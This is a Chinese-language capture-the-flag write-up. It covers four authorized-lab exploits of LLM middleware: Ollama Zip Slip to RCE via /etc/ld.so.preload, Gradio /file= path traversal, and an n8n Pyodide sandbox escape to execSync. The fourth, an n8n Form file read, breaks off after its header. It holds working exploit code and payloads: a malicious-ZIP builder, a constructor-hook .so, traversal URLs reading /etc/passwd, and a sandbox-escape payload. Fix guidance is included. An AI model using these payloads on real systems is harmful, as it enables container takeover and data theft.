LLM 中间件(LLM Middleware),指夹在业务代码和真正的模型之间的那一层服务: Ollama、vLLM、LM Studio、LocalAI、各种"中转站"API 网关,都属于这一类。
它和"模型驱动型漏洞"是一对互补的攻击面:
攻击面 漏洞本质 模型驱动型漏洞 模型的判断力 提示词被绕过、假 LLM 劫持、工具滥用 LLM 中间件漏洞 中间件自己的代码 路径穿越、Zip Slip、SSRF、反序列化、沙箱逃逸 一句话区分:模型驱动型漏洞是"AI 太听话",中间件漏洞是"包着 AI 的那层壳写烂了"。
危险之处在于:中间件通常以高权限(root)运行在容器里 ,还要读取本地模型文件。 所以一个看似普通的路径穿越,往往直接等于容器内的 RCE。
靶场环境:HBC AI 攻防专题 · LLM 中间件(共 4 个靶场)
靶场入口 :形如 http://<靶场地址>:<端口>
工具 :浏览器(F12)、Burp Suite、curl、Python(requests / http.client)、便携版 zig
⚠️ 本文所有测试均在授权靶场 中完成,仅用于安全学习与防御研究,请勿用于未授权目标。 文中 flag 已统一脱敏为
flag{...}。
🏁 〇、先看通关记录
| # | 靶场 | CVE / 代号 | 版本 | 核心原语 | 一句话打法 | Flag |
|---|---|---|---|---|---|---|
| 1 | Ollama | CVE-2024-45436 | 0.1.46 | Zip Slip → 任意文件写 → RCE | 恶意 ZIP 写 ld.so.preload + hook.so,用 /api/embeddings 拉起 runner 执行,flag 以 hex 写回 system blob,再用 /api/show 读回 |
flag{...} |
| 2 | Gradio | CVE-2023-51449 | 4.10.0 | 路径穿越 → 任意文件读 | /upload 拿到 <sha1> 目录作"合法前缀",再 /file=... 穿越读 /tmp/flag.txt |
flag{...} |
| 3 | n8n Code | CVE-2025-68668(N8scape) | 1.123.10 | Pyodide 沙箱逃逸 → RCE | 未认领实例自建 owner → Code 节点 pop 掉 js 桩 → 宿主 Object.constructor → execSync |
flag{...} |
| 4 | n8n Form | CVE-2026-21858(Ni8mare) | 1.65.0 | Content-Type 混淆 → 任意文件读 | 建带 file 字段的表单 → 用 application/json 直接指定 files.filepath=/tmp/flag.txt → 执行记录 binary 取回 |
flag{...} |
一句话总览:四个靶场打的全是"壳" ------不是模型被骗,而是中间件的解压、读文件、沙箱、请求解析四类传统代码缺陷。
🧭 一、统一方法论
四个靶场看似不同,实际可以用同一套问题拆解:
| 问题 | 你要找的东西 | 对应靶场 |
|---|---|---|
| ① 入口在哪? | 哪个 API / 路由 / 功能在碰文件或执行代码 | 全部 |
| ② 校验在哪一层? | 字符串层?文件系统层?进程层?还是"删几个属性" | 2、3、4 |
| ③ 执行发生在哪? | 解压器、文件读取代码、宿主 realm、请求解析器 | 1、2、3、4 |
| ④ 结果怎么带回来? | HTTP 响应?模型字段?执行记录?binary? | 1、3、4 |
三条通用心法:
-
先把 AI 服务当"服务"读,不要拿常规 Web 漏洞清单去套。 先看它有哪些路由、文件落在哪、进程怎么起。
-
区分"业务失败"和"漏洞失败"。
/api/create报错不代表解压没发生;表单只回{"status":200}不代表文件没被读。 -
分段验证,不要梭哈。 先证明原语(能写 / 能读 / 能执行),再做完整利用链;每段都埋一个可观测的标记。
🎯 二、靶场1:Ollama Zip Slip(CVE-2024-45436)
| 项 | 值 |
|---|---|
| 目标 | http://<靶场地址>:<端口> |
| 组件 / 版本 | Ollama 0.1.46 |
| 漏洞 | CVE-2024-45436 / GHSA-846m-99qv-67mg / GO-2024-3104 |
| 类型 | Zip Slip(CWE-22,任意文件写入)→ 容器 RCE |
| 结果 | flag{...}(位于 /tmp/flag.txt) |
📚 1.1 前置知识
(1)Zip Slip
如果 ZIP 条目名里包含 ../,而解压代码只做简单的路径拼接,文件就会被写到解压目录之外。
// 危险写法:条目名里的 ../ 会逃逸出 destinationDir
fullPath := filepath.Join(destinationDir, f.Name)
核心痛点:要攻击的是"条目名这个字符串",而不是 ZIP 的内容。 Zip Slip 只解决"写",不解决"读",所以后面必须把它升级成代码执行。
(2)Ollama 是一个"模型服务",不是普通网页
Ollama 默认监听 11434,且默认没有任何认证。解题要看的是它的文件布局和 API 行为:
| 接口 | 作用 |
|---|---|
GET /api/version |
确认版本(< 0.1.47 受影响) |
POST /api/pull |
拉取合法基础模型,作为"载体模型"的底子 |
POST /api/blobs/<digest> |
上传 blob(本靶场的恶意 ZIP 从这里进去) |
POST /api/create |
触发漏洞的核心接口 ,处理 FROM <path> 指向的 ZIP |
POST /api/embeddings |
拉起新的 runner 进程(触发 ld.so.preload 的关键一步) |
POST /api/show |
查看模型字段,用于验证篡改、读取回显 |
(3)把"写文件"升级成"执行":/etc/ld.so.preload
/etc/ld.so.preload 里写一个 .so 路径,后续每个动态链接程序启动时都会优先加载它。 再配合共享库的构造函数:
__attribute__((constructor)) void init(void) { /* main() 之前自动执行 */ }
我们不需要"调用"恶意函数,只要让目标进程加载恶意库即可。
🔍 1.2 漏洞原理
/api/create 支持 Modelfile 里的 FROM <path>。当这个 path 是 ZIP 时,Ollama 调用 model.go 的 extractFromZipFile() 解压,而该函数没有校验条目名里的 ../:
// 修复前(0.1.46)
fullPath := filepath.Join(destinationDir, f.Name)
// ../../../../etc/ld.so.preload 就从模型目录一路跑到系统根目录
- 修复版本 :0.1.47,commit
123a722a,PR #5314(对解压路径做 Clean + 前缀校验)
🛠️ 1.3 利用过程
整体链路
① POST /api/blobs/sha256:<zip的sha256>
└─ 把恶意 ZIP 当合法 blob 传上去
② POST /api/create {"modelfile":"FROM /root/.ollama/models/blobs/sha256-<digest>"}
└─ 触发 extractFromZipFile() → Zip Slip
├─ 写 /etc/ld.so.preload = "/tmp/hook.so"
└─ 写 /tmp/hook.so = 恶意共享库
③ POST /api/embeddings {"model":"all-minilm:22m", ...}
└─ Ollama 拉起新的 runner 进程(动态链接的 C++ 二进制)
→ ld.so 读取 /etc/ld.so.preload → 加载 hook.so
→ 构造函数在 runner 进程内以 root 执行
④ hook.so
├─ 立刻 unlink /etc/ld.so.preload 和 /tmp/hook.so(OPSEC)
├─ 读 /tmp/flag.txt
└─ 转成 hex,覆盖 carrier:latest 的 system blob
⑤ POST /api/show {"name":"carrier:latest"}
└─ system 字段 = hex(flag) → 解码 → 拿到 flag
为什么要先建 carrier:latest
把 SYSTEM 故意写成固定值 68656c6c6f(hex 的 hello),等于给模型打一个已知初始标记:
-
开始时
/api/show返回68656c6c6f -
利用成功后返回
666c61677b...(flag 的 hex)
前后一对比,就能分清是"写出了文件但没执行",还是"执行了但没定位到 blob"。
POST /api/pull
{"name":"all-minilm:22m","stream":false}
POST /api/create
{"name":"carrier:latest","modelfile":"FROM all-minilm:22m\nSYSTEM 68656c6c6f\n"}
构造恶意 ZIP
| 条目名 | 内容 |
|---|---|
../../../../../../../../../../etc/ld.so.preload |
/tmp/hook.so |
../../../../../../../../../../tmp/hook.so |
编译好的恶意共享库 |
import zipfile
with zipfile.ZipFile("evil.zip", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("../../../../../../../../../../etc/ld.so.preload", "/tmp/hook.so")
z.writestr("../../../../../../../../../../tmp/hook.so",
open("hook_x86_64.so", "rb").read())
../ 可以多写,filepath.Join 会 Clean 到根,多加无害。
在 Windows 上交叉编译 Linux .so
/etc/ld.so.preload 要求的是 Linux ELF 共享库,mingw 产出的 PE/DLL 加载不了。 没有 WSL / Docker 时,可以用便携版 zig:
curl -L -o zig.zip https://ziglang.org/download/0.13.0/zig-windows-x86_64-0.13.0.zip
python -c "import zipfile;zipfile.ZipFile('zig.zip').extractall('.')"
# 关键:-target x86_64-linux-gnu 才是 Linux ELF
zig.exe cc -target x86_64-linux-gnu.2.31 -shared -fPIC -O2 -o hook_x86_64.so hook.c
zig.exe cc -target aarch64-linux-gnu.2.31 -shared -fPIC -O2 -o hook_aarch64.so hook.c
产物必须校验:ELF64 / ET_DYN / 带 DT_INIT ,且以 7f 45 4c 46 开头。
__attribute__((constructor)) static void ctor(void) {
if (fork() == 0) work(); // fork 出去,不阻塞 runner 主流程
}
static void work(void) {
unlink("/etc/ld.so.preload"); // 第一件事:摘掉自己,限制影响面
/* 读 flag:/tmp/flag.txt → getenv → /proc/1/environ,逐级兜底 */
/* hex 编码 */
/* 定位 carrier 的 system blob 并覆盖 */
unlink("/tmp/hook.so");
}
blob 定位的两条策略
-
策略 A(内容匹配) :遍历
/root/.ollama/models/blobs/,找内容正好等于68656c6c6f的 blob。 -
策略 B(manifest 解析) :读
/root/.ollama/models/manifests/registry.ollama.ai/library/carrier/latest, 取"mediaType":"application/vnd.ollama.image.system"对应的digest, 转成blobs/sha256-<digest>再覆盖。
为什么要 B? system blob 被改过之后,再执行
create时 Ollama 算出的 digest 没变, 会认为该 blob"已存在"而跳过重写 ,策略 A 就失效了。 从 manifest 拿 digest 不依赖文件内容,永远准。
复现命令
.\build.bat # 交叉编译出 hook_*.so
python exploit.py --dry --reset # 【分段验证一】system 应变成 414141
python exploit.py --reset # 【正式】取 flag
python exploit.py --stage read # 只读回(不再触发一次)
预期输出:
[0] 版本 0.1.46 受 CVE-2024-45436 影响 [OK]
[2'] carrier 的 system == 68656c6c6f [OK] (初始标记就位)
[4] POST /api/blobs/sha256:2c00562c... -> 201
[5] -> {"status":"unpacking model metadata"} {"error":"couldn't determine model format"}
[6] -> 200 {"embedding":[...]}
[7] 基线 system = '68656c6c6f', 轮询等待改写 ...
[7] system 字段已变化: 666c61677b...7d
[8] flag = flag{...}
🧪 1.4 排错与分段验证
| 现象 | 含义 | 下一步 |
|---|---|---|
/api/version ≥ 0.1.47 |
不在影响范围 | 换目标 |
/api/blobs/sha256:<d> 非 2xx |
上传原语不通 | 成功返回是 201(不是 200);核对 digest 是否等于文件 sha256 |
create 返回 couldn't determine model format |
正常现象 | 解压发生在格式识别之前,继续 |
--dry 能把 system 改成 414141 |
Zip Slip + .so 执行全部成立 |
执行链没问题 |
--dry 成功但正式跑不变 |
blob 定位问题 | 用策略 B(解析 manifest digest) |
| 什么都不变 | .so 没被执行 |
确认目标架构,换 hook_aarch64.so |
两个关键验证实验:
-
验证一:先证明 Zip Slip 本身成立。 不依赖
.so,直接覆盖一个已有模型的 manifest;覆盖成功后/api/show会报 JSON 解析错误, 说明"写文件"这件事通了。 -
验证二:先证明
.so确实被执行。 让它把 system blob 改成固定值414141。如果/api/show真变了, 就同时证明了:ld.so.preload写入成功 + 新 runner 加载了恶意库 + 改 blob 的方案可行。
"业务失败" ≠ "漏洞失败"。
/api/create报错退出,不代表前面的解压没发生。把这两件事分开看,是排错能力的分水岭。
🛡️ 1.5 修复与规避
| 层面 | 措施 |
|---|---|
| 升级 | Ollama 升到 0.1.47+ |
| 网络 | Ollama 默认监听 11434 且无认证,绝不能暴露到公网 / 不可信网段 |
| 容器 | 非 root 运行、只读根文件系统、no-new-privileges、drop 多余 capability |
| 运维 | 禁止 /etc/ld.so.preload 被写入;监控 blobs/、manifests/ 的异常变更 |
根因是"信任了 ZIP 条目名"。通用防御:
dst := filepath.Clean(destinationDir)
target := filepath.Clean(filepath.Join(dst, f.Name))
if !strings.HasPrefix(target, dst+string(os.PathSeparator)) {
return fmt.Errorf("illegal file path in zip: %s", f.Name)
}
✅ 1.6 小结
-
从"网页"到"服务":Ollama 是模型服务,要理解它的文件布局和 API 行为。
-
从"能写"到"能读" :任意文件写入本身交不了 flag。 必须想清楚:写哪里 → 谁读 → 谁执行 → 怎么带回来 。
/etc/ld.so.preload+__attribute__((constructor))就是把"写"变成"执行"的经典桥梁。 -
从"梭哈"到"分段验证" :先埋已知值,再观察变化;先单独验证 Zip Slip,再单独验证
.so执行。
LLM 中间件漏洞,攻击的不是模型,而是包裹模型的那层服务代码。 而中间件往往跑在 root + 容器里,一次不起眼的路径穿越,就是一次完整的容器沦陷。
🎯 三、靶场2:Gradio 目录穿越(CVE-2023-51449)
| 项 | 值 |
|---|---|
| 目标 | http://<靶场地址>:<端口> |
| 组件 / 版本 | Gradio 4.10.0 |
| 漏洞 | CVE-2023-51449 / GHSA-6qm2-wpxq-7qh2 / PYSEC-2023-249 |
| 类型 | 路径穿越 / 任意文件读取(CWE-22) |
| 结果 | flag{...}(位于 /tmp/flag.txt) |
📚 2.1 前置知识
(1)Gradio 的工作方式
Gradio 是一个 Python 库,把机器学习模型包装成 Web 界面。后端是 FastAPI + uvicorn , 前端是 React。它不是一个普通网页,而是一个带 HTTP API 的服务:界面上每个组件都会自动生成 API 端点。
| 路由 | 作用 |
|---|---|
GET / |
前端页面 |
GET /config |
前端配置:version、组件定义、依赖关系(指纹识别第一入口) |
GET /info |
API 端点描述(named_endpoints / unnamed_endpoints) |
POST /upload |
上传文件,返回文件在服务器上的落盘路径 |
GET /file=<路径> |
按路径把文件回传给浏览器 ← 本漏洞入口 |
POST /run/predict · POST /call/predict |
调用具体端点 |
/file 路由的存在理由:模型经常输出图片、音频、文件,浏览器不能直接读服务器磁盘, 所以需要一个"给路径、吐内容"的接口。既然它能读任意路径,就必须有校验------校验写错了,就是本题。
上传文件默认落在 GRADIO_TEMP_DIR,即 /tmp/gradio/<内容sha1>/<原文件名>。 注意 <sha1> 是目录名,这个细节后面非常关键。
(2)路径穿越:校验层次决定生死
| 校验层次 | 典型写法 | 是否安全 |
|---|---|---|
| 字符串层 | relative_to()、startswith()、正则删 ../ |
❌ 可绕过 |
| 文件系统层 | 先 resolve() / realpath() 再比较前缀 |
✅ 安全 |
字符串层不安全,是因为字符串运算不碰文件系统 :relative_to() 只看字面路径段, 不知道 .. 最终会落到哪里。
常见绕过:垫一个真实目录(本题)、URL 编码、双写 ....//、绝对路径、符号链接。
(3)URL 编码在本题里的意义
../ 可能被客户端自己 规范化掉。浏览器、requests、urllib 都可能在发送前把 /a/../b 折叠成 /b,payload 还没出网就失效了。
两种解法:
-
让客户端别多管闲事:
curl --path-as-is,或用http.client自己拼请求行。 -
编码绕过:把
.写成%2e。
服务端是先解码再校验的 :uvicorn / FastAPI 会先把 %2e%2e 解码成 ..,再进入路由。 所以编码只影响"客户端怎么发",不影响"服务端怎么看" 。 本题实测 %2e%2e/、%2e%2e%2f、..%2f 全部有效,说明服务端只解一层。
🔍 2.2 漏洞原理
GET /file=<路径> 的校验在 gradio/utils.py:
def is_in_or_equal(path_1, path_2):
path_1, path_2 = abspath(path_1), abspath(path_2) # abspath 不做 .. 规范化
try:
if str(path_1.relative_to(path_2)).startswith(".."): # ← 只看字面首段
return False
except ValueError:
return False
return True
abspath() 对绝对路径原样返回 (不解析符号链接、不规范化 ..), relative_to() 又是纯字面 运算,于是守卫只拦住了"紧跟允许目录就以 .. 开头"的情况:
| 请求路径 | relative_to('/tmp/gradio') 得到 |
结果 |
|---|---|---|
/tmp/gradio/../../etc/passwd |
../../etc/passwd |
以 .. 开头 → 403 |
/tmp/gradio/<hash>/../../etc/passwd |
<hash>/../../etc/passwd |
首段是 <hash> → 放行 → 200 |
结论:穿越点前面必须垫至少一个真实目录。 POST /upload 恰好给一个:返回 ["/tmp/gradio/<sha1>/<文件名>"],其中 <sha1> 是个目录。
- 修复版本 :4.11.0,PR #6833(改为先
resolve()再比较前缀)
🛠️ 2.3 利用过程
先纠正三个常见误判
| 常见误判 | 实际情况 |
|---|---|
GET /file=/tmp/flag.txt 直接读 |
403。 绝对路径不在允许目录内 |
/predict?file=... 之类的 query 参数 |
不存在。 是路径段 /file=<路径> |
靠 GET /info 拿端点、构造针对性 URL |
/info 的 /predict 与本漏洞无关,入口是 /file= 路由本身 |
一句话:别拿"常规注入清单"去套,先去读路由语义。
利用链
① POST /upload
└─ 返回 /tmp/gradio/<hash>/<文件名>
<hash> 是个目录 ------ 这就是"合法前缀" / 穿越立足点
② GET /file=/tmp/gradio/<hash>/<穿越><目标相对路径>
└─ 字面校验放行(首段是 <hash>,不以 .. 开头)
→ 内核解析 ../ 逃到根
→ 读到任意文件
../ 可以多写,内核在根目录处自动截断,所以"深层穿越 + 重新接绝对路径"最稳:
/tmp/gradio/<hash>/../../../../../../../tmp/flag.txt
两个必须注意的限制
-
base 必须是目录,不能是文件。 写成
/tmp/gradio/<hash>/<文件名>/../..会因内核ENOTDIR(文件不能被当作目录解析..) 得到 404 。base 必须取dirname(上传路径)。 -
目标是目录会被拒。 route 里还有
is_dir = abs_path.is_dir(),为真直接 403。 所以只能读文件,不能列目录。
这解释了排错时最容易困惑的现象:同样是 403/404,"路径不对"和"校验拦住"是两件完全不同的事。
脚本实现的三个关键决策
| 决策 | 原因 |
|---|---|
用 http.client 直发请求,不用 requests |
高层库可能自己规范化 ../ |
准备编码矩阵(../、%2e%2e/、%2e%2e%2f、..%2f、....//) |
服务端等价,可作为客户端兼容性兜底 |
| 连接被重置时自动重试 | 靶场偶发 Connection reset,不重试会误判为"文件不存在" |
multipart 请求体:
body = b"".join([
("--%s\r\n" % boundary).encode(),
('Content-Disposition: form-data; name="files"; filename="%s"\r\n' % name).encode(),
b"Content-Type: application/octet-stream\r\n\r\n",
content,
("\r\n--%s--\r\n" % boundary).encode(),
])
复现命令与实测输出
python exploit_gradio.py # 全自动,命中即停
python exploit_gradio.py --control # 先用 /etc/passwd 验证穿透,再打 flag
python exploit_gradio.py --depths 3-14 # 自定义穿越层数范围
[*] 版本 4.10.0 落在受影响范围 (< 4.11) [OK]
[*] named_endpoints: ['/predict']
[*] POST /upload -> 200 ["/tmp/gradio/7c4a8d09.../poc_gradio.txt"]
[*] 穿越 base : /tmp/gradio/7c4a8d09ca3762af61e59520943dc26494f8941b
[*] 控制组:/etc/passwd 可读 (enc=plain, depth=3)
[+] 命中!
完整 URL : http://<靶场地址>:<端口>/file=/tmp/gradio/7c4a8d09.../../../../tmp/flag.txt
FLAG : flag{...}
🧪 2.4 排错表
| 现象 | 含义 | 修法 |
|---|---|---|
403 File not allowed |
穿越点没垫真实目录,或目标是目录 | 用 /tmp/gradio/<hash>/ 做 base |
404 File not found |
base 用了文件(ENOTDIR),或目标不存在 | base 换成 dirname(上传路径) |
| 拿不到 200 也不报错 | 客户端把 ../ 规范化了 |
用 http.client,或改 %2e%2e |
/upload 不可用 |
无法取得合法前缀 | 找 /tmp/gradio/ 下任何已存在目录做 base |
先证明穿透,再打目标 :
--control先用/etc/passwd(必然存在、格式已知) 验证"路径穿越 + 我读得到",确认原语可用后再去取 flag。 失败时就能立刻分清是"穿透不成立"还是"文件不在那儿"。
🛡️ 2.5 修复与规避
| 层面 | 措施 |
|---|---|
| 升级 | Gradio 升到 4.11.0+(PR #6833) |
| 正确写法 | 先 resolve() 再比较,用 os.path.commonpath 或 Path.is_relative_to;绝不能用 relative_to() + 字符串前缀判断 |
| 部署 | 未鉴权的 Gradio 应用不要暴露公网;显式设置 allowed_paths 白名单 |
| 加固 | 容器内非 root;把 flag / 敏感文件放在应用可访问范围之外 |
real = Path(user_path).resolve() # ① 先解析成真实绝对路径
root = Path(allowed_dir).resolve()
if not real.is_relative_to(root): # ② 再比较
raise HTTPException(403, "forbidden")
根因一句话:校验发生在"字符串层",而穿越发生在"文件系统层",两者之间存在语义鸿沟。 只堵字符串,挡不住文件系统。
✅ 2.6 小结
-
同一根因,两种皮 :靶场1 是解压时的穿越(Zip Slip),靶场2 是读文件时的穿越。 CWE-22 不是"某个功能写错了",而是**"校验层与执行层语义不一致"**。
-
别被功能表面带偏 :
/info里的/predict看着像入口,其实毫无关系。 读路由语义,比读端点列表有用得多。 -
校验层次决定生死 :看到
relative_to/startswith/ 正则删../, 就该立刻想到"垫一个真实目录"可能就够了。 -
403 和 404 是两条完全不同的信息:一个是被拦,一个是路走错。
🎯 四、靶场3:n8n Python Code 节点沙箱绕过(CVE-2025-68668)
| 项 | 值 |
|---|---|
| 目标 | http://<靶场地址>:<端口> |
| 组件 / 版本 | n8n 1.123.10(受影响 >=1.0.0 <2.0.0,修复于 2.0.0) |
| 代号 | N8scape |
| 漏洞 | CVE-2025-68668 / GHSA-62r4-hw23-cc8v |
| 类型 | 沙箱绕过 → 任意命令执行(CWE-693) |
| 结果 | flag{...}(/tmp/flag.txt,进程以 uid=1000(node) 运行) |
📚 3.1 前置知识
(1)n8n 的 Code 节点
n8n 是工作流自动化平台:节点连成图,数据沿连线流动。 Code 节点允许在流程里直接写代码,是本题入口。
| 参数 | 说明 |
|---|---|
mode |
runOnceForAllItems / runOnceForEachItem |
language |
javascript(默认)/ python(Beta,走 Pyodide) |
| 代码参数名 | JS 模式是 jsCode,Python 模式是 pythonCode ← 极易踩坑 |
两个关键认知:
-
返回值必须是 item 数组 :
return [{"json": {...}}]。 -
代码在服务器端执行。用户能写任意代码 = 隔离一失效就是 RCE。
(2)Pyodide 的软肋
Pyodide = 编译成 WebAssembly 的 CPython,能在浏览器或 Node.js 里跑 Python。 但它跑在宿主的 JS 引擎、宿主进程里,不是独立进程。 为了用宿主能力(网络、Node API),必须开一层 Python ↔ JS 桥------
这层桥就是沙箱的软肋:Python 侧能碰到哪些 JS 对象,决定了攻击者能爬到宿主哪里。
n8n 用 LoadPyodide():用 node:vm 的 createContext 造 vm 上下文, 再往里塞宿主对象作为 jsglobals。所谓"沙箱"就是后面删属性的几行代码。
(3)JavaScript 的 Function 与 .constructor 链
const f = new Function("return process"); // 把字符串编译成函数
f(); // 执行 -> 拿到 process
关键点:Function 创建出来的函数,作用域是"它被创建时所在的全局环境" 。 用哪个 realm 的 Function,就在哪个 realm 里执行代码。
({}).constructor // Object
Object.constructor // Function ← 关键!Object 本身是个函数
Object.constructor.constructor // 还是 Function
"".constructor.constructor // Function
经典逃逸套路:
外来对象.constructor === 外部的 Function → new Function(...) 就在外面执行
node:vm 为什么挡不住 :vm 的隔离靠"换一套全局对象", 但只要有宿主对象被传进沙箱 ,就能顺着 .constructor 爬回宿主 realm。
(4)n8n 的具体错误
n8n 堵的是 Object.constructor.constructor(= Function.constructor), 但 Object.constructor 本身就已经是 Function 了 ------堵二级属性完全没有意义。 更糟的是,传进 vm 的 5 个宿主对象(Object / fetch / AbortController / AbortSignal / console) 每一个的 .constructor 都是宿主 Function,只堵其中一个的二级属性,漏洞面根本没有收窄。
(5)Python ↔ JS 类型桥接的坑
| 坑 | 现象 | 解法 |
|---|---|---|
Node Buffer 传不回 Python |
RuntimeError: Unknown typed array type 'Buffer' |
在 JS 侧 .toString() 后再交回 |
dict → JS 是 Map 不是 Object |
给 JS 函数传 options 无效 | pyodide.ffi.to_js(d, dict_converter=...) |
| Promise 不会自动 await | 拿到 JsProxy 而不是结果 | pyodide.ffi.run_sync(),或异步逻辑整体写在 JS 里 |
| JsProxy 的 repr | 打印为 [object Object] |
type(x) + dir(x) |
import js 拿到的是 globalThis 代理 |
不是普通 Python 模块 | 不要用 hasattr(js, "x") 之类的模块假设 |
"能执行到" ≠ "能把结果带回来"。 本题第一次跑通命令后,
id/cat都执行成功,但返回Buffer,Pyodide 转换失败, 输出一个都拿不到。把命令链整体写在 JS 里、最后.toString(),才真正闭环。
🔍 3.2 漏洞原理
n8n 的"沙箱"在 packages/nodes-base/nodes/Code/Pyodide.ts,加载 Pyodide 后注入的防护只有三行:
import os
def blocked_function(*args, **kwargs):
raise RuntimeError("Blocked for security reasons")
os.system = blocked_function # ①
from _pyodide_core import jsproxy_typedict
from js import Object
Object.constructor.constructor = blocked_function # ②
import sys
class blocked_module:
def __getattr__(self, name):
blocked_function()
sys.modules['js'] = blocked_module() # ③
而 Pyodide 是在 node:vm 的 createContext 里跑的:
const context = createContext({
loadPyodide, indexURL, packageCacheDir,
jsglobals: { console, fetch, AbortController, AbortSignal, Object, XMLHttpRequest },
});
两个致命缺陷:
-
只换了
sys.modules['js'],没动 import hook。sys.modules.pop("js")后重新import js,Pyodide 的 import hook 会把真正的 js 模块 (宿主 globalThis)还回来。 -
只堵了
Object.constructor.constructor,没堵Object.constructor本身。jsglobals里的Object来自宿主 realm,Object.constructor就是宿主的 Function 构造器 。 用它new Function(...),代码就在宿主 realm 执行,node:vm的隔离形同虚设。
-
CVSS:9.9(Critical)
-
修复版本:2.0.0(彻底移除 Pyodide,Python 改由进程隔离的 task runner 执行)
-
前置条件:已认证 + 有 workflow 编辑权限
⚠️ 本题的"认证墙"是纸糊的
GET /rest/settings 里 userManagement.showSetupOnFirstLoad: true ------实例根本没被认领。直接:
POST /rest/owner/setup
{"email":"owner@ctf.local","firstName":"Red","lastName":"Team","password":"N8scape2026!"}
→ {"data":{...,"role":"global:owner","isOwner":true}}
这就是题目"难度 1 级"的原因:CVE 要求"已认证用户",而认证本身可以直接注册。
🛠️ 3.3 利用过程
利用链
① POST /rest/owner/setup 实例未认领 -> 自建 owner,拿到会话
│
② POST /rest/workflows 建工作流:Manual Trigger -> Code(Python)
│ payload 写进 Code 节点的 pythonCode 参数
③ POST /rest/workflows/{id}/run 以 Manual Trigger 为起点执行全图
│
④ Code 节点里 Pyodide 执行我们的 Python:
sys.modules.pop("js", None); import js # 摘掉桩,还原真 js
js.Object.constructor # 宿主 Function 构造器
HostFunction("cmd", "return process.mainModule.require('child_process')
.execSync(cmd).toString()")("cat /tmp/flag.txt")
│
⑤ GET /rest/executions/{id}?unflattened=true&includeData=true
-> 展开扁平化数组 -> runData["Code"][0].data.main[0][0].json.result
最终 Payload
import sys
# n8n 只把 sys.modules['js'] 换成了桩,没动 import hook ------ pop 掉再 import 就还原
sys.modules.pop("js", None)
import js
# jsglobals 里的 Object 来自宿主 realm => Object.constructor 就是宿主的 Function
HostFunction = js.Object.constructor
run = HostFunction(
"cmd",
"return process.mainModule.require('child_process').execSync(cmd).toString()",
)
return [{"json": {"result": str(run("cat /tmp/flag.txt")).strip()}}]
为什么整条命令链写在 JS 里 :execSync() 返回 Node 的 Buffer,Pyodide 转不回 Python (报 Unknown typed array type 'Buffer')。所以在 JS 侧 .toString() 后再交回 Python。
备用绕过方案(均为实测结论)
| 路线 | 结果 |
|---|---|
os.system |
❌ 已被替换成 blocked_function |
import js |
❌ 已被替换成桩 |
pyodide.code.run_js(...) |
❌ 本目标不可用 ------内部要 from js import eval,摘桩后 js 是宿主 globalThis,没有 eval → ImportError |
subprocess.Popen / os.popen |
⚠️ 对象还在,但 Pyodide 是 WASM,没有真 fork/exec,必须借 JS 桥 |
sys.modules.pop("js") + import js |
✅ 主路线 |
js.Object.constructor → 宿主 Function |
✅ 主路线 |
js.fetch.constructor / js.AbortController.constructor |
✅ 同理(同为宿主对象) |
_pyodide_core.raw_call |
✅ 底层 JS 调用入口 |
网上不少文章说
pyodide.code.run_js()是主要逃逸点。 实测在本目标上不可用 (它依赖js.eval,而js已被换成桩)。 真正稳的是"pop 桩 + 用宿主对象的.constructor"。
在 Web 界面里手工操作
-
打开靶场 → 实例未认领,直接跳 "Set up owner account" → 创建 owner
-
登录 → Overview → Create Workflow
-
画布点
+→ 搜Code→ 选内置 Code 节点 (不是社区n8n-nodes-python) -
节点面板:Language → Python (Beta) ;Mode → Run Once for All Items;粘贴 payload
-
没有起点就再加一个 Manual Trigger,连到 Code
-
点 Execute workflow
-
节点变绿后 → 打开 Code 节点 → Output → JSON → 展开
result
⚠️ Python 模式下参数名是
pythonCode,不是code(JS 模式才是jsCode)。 API 写"code"会被静默忽略,节点拿默认空模板跑,报IndentationError: expected an indented block...。这是本题最容易卡住的坑。
命令输出到底在哪个字段
n8n 没有固定的 stdout / data 字段------字段名是你在 return 里自己定的。 本脚本约定返回 {"json": {"result": ...}}:
| 位置 | 取值路径 |
|---|---|
| UI | Code 节点 → Output → JSON → result |
| API | resultData.runData["Code"][0].data.main[0][0].json.result |
| 出错时 | 同路径的 runData["Code"][0].error.message(异常信息本身就是外带通道) |
⚠️ n8n 把
execution.data存成扁平化数组 :形如"resultData":"2"的字符串是 指向数组下标的引用 。直接按上面的路径读会拿到"6"这种下标,必须先展开引用。
驱动内部 API 的两个坑
-
POST /rest/workflows/{id}/run的 body 必须给全 :{"workflowData": {...含 id...}, "triggerToStartFrom": {"name": "<Manual Trigger 名>"}}-
不给
workflowData.id→You cannot execute a workflow without an ID -
只给
destinationNode、不给triggerToStartFrom→ "成功"但一个节点都不跑 -
destinationNode是对象{nodeName: "..."},不是字符串
-
-
工作流必须有 Trigger 节点 :
runManually靠getExecutionStartNode()取起点, 没有 trigger 就没有 startNode,全图不执行。
🛡️ 3.4 修复与规避
| 层面 | 措施 |
|---|---|
| 升级 | n8n 升到 2.0.0+(移除 Pyodide,Python 改由进程隔离的 task runner 执行) |
| 启用隔离 runner(1.x) | N8N_RUNNERS_ENABLED=true + N8N_NATIVE_PYTHON_RUNNER=true |
| 禁用 Python | N8N_PYTHON_ENABLED=false(1.104.0 起可用) |
| 禁用 Code 节点 | NODES_EXCLUDE=["n8n-nodes-base.code"] |
| 权限 | 收紧 workflow 编辑权限;开启 MFA;不要暴露公网 |
| 部署 | 容器内非 root(本题已是 node 用户,明显降低影响面) |
根因一句话:黑名单式沙箱注定失败------你只堵了自己想得到的三个点, 而攻击面是整个宿主 realm 的对象图。 正确的隔离只有一条路:进程级隔离(task runner / 独立容器 / seccomp), 而不是在同一个 JS realm 里"删几个属性"。
✅ 3.5 小结
-
"沙箱"要看实现 :三行代码看似防护,实际只是把三个属性换成桩------这是黑名单,不是隔离。
-
node:vm不是安全边界 :只要有宿主对象被传进去,顺着.constructor就能爬回宿主 realm。 -
堵二级属性没有意义 :
Object.constructor本身就是Function。 -
类型桥接是最后一公里 :命令执行成功但
Buffer传不回来,照样一个字节都看不到。 -
认证要求不等于难度:实例未认领时,认证就是自己注册一下的事。
🎯 五、靶场4:n8n Form Content-Type 混淆任意文件读取(CVE-2026-21858)
| 项 | 值 |
|---|---|
| 目标 | http://<靶场地址>:<端口> |
| 组件 / 版本 | n8n 1.65.0(受影响 1.65.0 ~ <1.121.0,修复于 1.121.0) |
| 代号 | Ni8mare |
| 漏洞 | CVE-2026-21858 / GHSA-v4pr-fm98-w9pg |
